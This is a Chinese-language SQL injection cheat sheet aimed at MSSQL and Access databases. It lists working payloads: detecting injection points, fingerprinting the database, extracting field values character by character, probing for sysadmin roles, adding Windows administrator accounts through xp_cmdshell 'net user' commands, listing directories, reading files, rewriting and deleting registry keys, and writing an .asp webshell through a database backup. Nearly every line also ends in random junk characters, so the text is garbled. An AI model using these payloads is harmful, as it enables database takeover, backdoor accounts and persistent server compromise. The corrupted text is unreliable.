1.判断是否有注入;and 1=1 ;and 1=2 AG><5 }
2.初步判断是否是mssql ;and user>0 3n~O&{
w)&?9?~
3.注入参数是字符'and [查询条件] and ''=' rE]Nr ;Ys
pog
4.搜索时没过滤参数的'and [查询条件] and '%25'=' NS-0-o|4#
o2[$XONTl
5.判断数据库系统 8:[ l1d86
|K9*><P?)2
;and (select count(*) from sysobjects)>0 mssql 9sI&d
*7b?.{
;and (select count(*) from msysobjects)>0 access nw(R=C
vo(:g6$
*HB 32 =qD
gegM&Xo
6.猜数据库 ;and (select Count(*) from [数据库名])>0 GL~
Wnt
-fp/3-
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o`G6!
-ijzo%&qA
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cbl>:ev1h
_D$1CaAYo
9.(1)猜字段的ascii值(access) +;4;~>Y
QAAuFZs
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 yzZzaYv "/
; tQ(l%!
(2)猜字段的ascii值(mssql) ;YSe:m*
K+"3He
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;A4j_8\[
:zY;eJK m
10.测试权限结构(mssql) f@[)*([
%a
FZbLK
-*Tf.c
'#SZ|Rr6tX
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- JI
cm$
Jg)( F|>o
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Y=?{TX=6<[
mE_%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4>OS2b`.;
/:ZwGyT;
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- (:F]@vT
$B7c\MR
j
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- L9XfR$7,z
TQb@szp:|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- rIb~@cR)
y4l-o
;and 1=(select IS_MEMBER('db_owner'));-- H4sW%nZ0
m(o`;
{ ^^5FE)%
3Gr"YG{,
11.添加mssql和系统的帐户 x)Zb:"
:,M+njcFc
;exec master.dbo.sp_addlogin username;-- 'HJ+)[0X*
;exec master.dbo.sp_password null,username,password;-- v 2p
p(nO~I2E
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- TspX7<6r
Na@;F{
;exec master.dbo.xp_cmdshell 'net user username password \o=9WKc
5gV,^[E-z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- DBG0)=SHy
LT>_Y`5>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- hW'b'x<
v\CBw"
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- A FBH(ms't
P3-O)m]jv
o.w/?
SP/b4
12.(1)遍历目录 y10W\beJ
m mZP;
;create table dirs(paths varchar(100), id int) h Ypj
k=mLcP
;insert dirs exec master.dbo.xp_dirtree 'c:\' L)&^Pu
Z,/^lg c,
;and (select top 1 paths from dirs)>0 l1|*(%p?X
q'a]DJ`
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) cMF)2^w}
|d-x2M[
xQU//kNL
H }]Zp
(2)遍历目录 H C,5j)1
1h(IrV5 g
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- oV;sd5'LG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 j`q>YPp
\At~94
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .ahY 1CO
>N 2kWSa
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^;h\#S[%
:\'1x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5z9hcQAS
p`rjWpH
U,7
jnbR}a=fJ
13.mssql中的存储过程 &bfM`h'
qo7<g*kf~
xp_regenumvalues 注册表根键, 子键 Mpyza%zj
!/tV}.*
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 g!'
x5#]n
y9]7LETv\M
xp_regread 根键,子键,键值名 8{!|` b'f
H^5,];
;exec xp_regread lP)n$?u
5+!yXkE^e
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Pv,PS.,-
j>?nL~{
xp_regwrite 根键,子键, 值名, 值类型, 值 u{&=$[;
lK7:qo
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 }~=<7|N.
@%2crJnkS
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
F):kF_ho
@BjB
Mi,
xp_regdeletevalue 根键,子键,值名 9eq)WI/
+X+R8
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 h*D -Vo
l3BN,HNv+
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 l3u+fE,;_
VyNF)$'T
}Hg\
tj}i
f/Y7@y
14.mssql的backup创建webshell "PElQBLP:
0sKoNzE
use model [ ^\{>m7
T+~&jC:{
create table cmd(str image); H1%o)'Kut4
l{.PyU5)
insert into cmd(str) values (''); *0@Z+'M?
jg'"?KSU~
backup database model to disk='c:\l.asp'; f. >[ J
T"3LO[j+
bv(+$YR
0%,W5w
15.mssql内置函数 YfZ5Q}*1O+
## vP(M$
;and (select @@version)>0 获得Windows的版本号 .pe.K3G&
W{!5}Sh
;and user_name()='dbo' 判断当前系统的连接用户是不是sa J Q*~le*
!Sy9v
;and (select user_name())>0 爆当前系统的连接用户 ".Q]FE@>
#DguV
;and (select db_name())>0 得到当前连接的数据库 1I'}Uh*
GHLnwym
R+He6c!?9
5xnEkg4q4
16.简洁的webshell IcQpbF0
s/~pr.>-l
use model .,(x7?
i$3#/*Y7_L
create table cmd(str image); jqj}j2
9
}*%=C!m4R!
insert into cmd(str) values (''); >wb*kyO7(#
)v+&l9D
backup database model to disk='g:\wwwtest\l.asp';